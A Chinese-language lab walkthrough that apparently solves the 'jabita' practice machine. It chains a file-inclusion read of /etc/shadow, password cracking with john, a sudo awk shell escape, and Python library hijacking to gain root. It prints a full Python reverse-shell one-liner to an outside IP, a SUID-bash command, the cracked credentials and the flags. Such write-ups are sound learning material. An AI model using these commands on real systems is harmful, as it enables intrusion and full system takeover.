jabita-python库劫持提权-suid

简介: jabita-python库劫持提权-suid
jabita easy 文件包含利用、shadow爆破、sudo-awk 提权、python库劫持提权、python反弹shell

主机发现

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth0 -r 192.168.44.139/24

服务探测

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -A -T 4 -p- 192.168.44.147 

22, 80

目录扫描

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.44.147 -x php,html.txt.png -e
http://192.168.44.147/building   
在这个页面随便点个home
发现这个页面可能存在文件包含http://192.168.44.147/building/index.php?page=home.php
初次尝试得到结果
http://192.168.44.147/building/index.php?page=/etc/shadow

jack:$6$xyz$FU1GrBztUeX8krU/94RECrFbyaXNqU8VMUh3YThGCAGhlPqYCQryXBln3q2J2vggsYcTrvuDPTGsPJEpn/7U.0:19236:0:99999:7::: 
jaba:$y$j9T$pWlo6WbJDbnYz6qZlM87d.$CGQnSEL8aHLlBY/4Il6jFieCPzj7wk54P8K4j/xhi/1:19240:0:99999:7::: 

john爆破

爆破

kali㉿kali)-[~/桌面/OSCP]
└─$ john -w=../rockyou.txt hash_jabita
账号:jack
密码:joaninha

提权

jack@jabita:~$ sudo -l
    (jaba : jaba) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'
jack@jabita:~$ sudo -u jaba  /usr/bin/awk 'BEGIN {system("/bin/sh")}'
$ id
uid=1002(jaba) gid=1002(jaba) groups=1002(jaba)

$ script /dev/null -c bash
jaba@jabita:/home/jack$ sudo -l
    (root) NOPASSWD: /usr/bin/python3 /usr/bin/clean.py

查看这个文件为root 权限,该脚本导入了wild 模块,执行后调用first()方法,输出一个hello。

我们搜索该模块,查看模块内容如下

jaba@jabita:/home/jack$ cat /usr/bin/clean.py 
import wild

wild.first()
jaba@jabita:/home/jack$ ls -all /usr/bin/clean.py 
-rw-r--r-- 1 root root 26 Sep  5  2022 /usr/bin/clean.py
jaba@jabita:/home/jack$ /usr/bin/python3 /usr/bin/clean.py
Hello
jaba@jabita:/home/jack$ find / -type f -name "wild.py" 2>/dev/null
/usr/lib/python3.10/wild.py
jaba@jabita:/home/jack$ cat /usr/lib/python3.10/wild.py
def first():
        print("Hello")
jaba@jabita:/home/jack$ ls -all /usr/lib/python3.10/wild.py
-rw-r--rw- 1 root root 29 Sep  5  2022 /usr/lib/python3.10/wild.py

python库劫持

我们对改文件具有修改的权限,因此可以尝试python库劫持进行提取

那么接下来我们可以使用python反弹一个shell,代码如下

import os
def first():
  os.system("python3 -c \"import       os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.44.128',9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"")
jaba@jabita:/home/jack$ sudo -u root /usr/bin/python3 /usr/bin/clean.py

实战中,如果机器不出网,我们可以修改该脚本的内容,让它可以使用 SUID 执行 bash。或者直接创建一个root权限的账号。

import os
def first():  
  os.system("chmod u+s /bin/bash")
find / -perm -u=s -type f 2>/dev/null


jaba@jabita:/home/jack$ bash -p
bash-5.1# whoami
root
bash-5.1# cat user.txt 
2e0942f09699435811c1be613cbc7a39
bash-5.1# cat root.txt 
f4bb4cce1d4ed06fc77ad84ccf70d3fe


相关文章
|
1天前
|
Python
pip批量安装Python库 requirement.txt 离线环境无互联网环境下pip安装Python库
pip批量安装Python库 requirement.txt 离线环境无互联网环境下pip安装Python库
11 3
|
2天前
|
Rust 监控 编译器
解密 Python 如何调用 Rust 编译生成的动态链接库(一)
解密 Python 如何调用 Rust 编译生成的动态链接库(一)
12 2
|
2天前
|
存储 编解码 API
分享一个 Python 处理音频的库
分享一个 Python 处理音频的库
10 2
|
4天前
|
测试技术 网络安全 数据安全/隐私保护
Paramiko是一个用于处理SSHv2协议的Python库
Paramiko是一个用于处理SSHv2协议的Python库
9 3
|
2天前
|
Rust 安全 Python
解密 Python 如何调用 Rust 编译生成的动态链接库(二)
解密 Python 如何调用 Rust 编译生成的动态链接库(二)
13 1
|
8天前
|
调度 开发者 网络架构
探索Python中的异步编程:深入理解asyncio库
【9月更文挑战第32天】在现代软件开发中,异步编程已成为提升性能和响应性的关键策略之一。本文将深入探讨Python的asyncio库,一个强大的异步I/O框架,它允许开发者编写单线程并发代码,同时处理多个任务而无需复杂的多线程或多进程编程。通过本文,你将学习到如何利用asyncio来构建高效、可扩展的应用程序,并了解其背后的原理和设计哲学。
10 2
|
10天前
|
数据挖掘 Python
【Python】应用:pyproj地理计算库应用
这篇博客介绍了 `pyproj` 地理计算库的应用,涵盖地理坐标系统转换与地图投影。通过示例代码展示了如何进行经纬度与UTM坐标的互转,并利用 `pyproj.Geod` 计算两点间的距离及方位角,助力地理数据分析。 安装 `pyproj`:`pip install pyproj`。更多内容欢迎关注本博客,一起学习进步! Pancake 🍰 不迷路。😉*★,°*:.☆( ̄▽ ̄)/$:*.°★* 😏
18 1
|
2天前
|
开发者 Python
Python 时间处理与时区转换:深入探究 datetime、time 模块与 pytz 库的功能与应用
Python 时间处理与时区转换:深入探究 datetime、time 模块与 pytz 库的功能与应用
5 0
|
11天前
|
数据挖掘 API 数据处理
Python 数据分析及预处理常用库
Python自身数据分析功能有限,需借助第三方库增强。常用库包括NumPy、pandas、Matplotlib等。NumPy由Numeric发展而来,提供了多维数组对象及各种API,支持高效的数据处理,如数学、逻辑运算等,常作为其他高级库如pandas和Matplotlib的依赖库。其内置函数处理速度极快,建议优先使用以提升程序效率。
14 0
|
12天前
|
UED Python
Python requests库下载文件时展示进度条的实现方法
以上就是使用Python `requests`库下载文件时展示进度条的一种实现方法,它不仅简洁易懂,而且在实际应用中非常实用。
27 0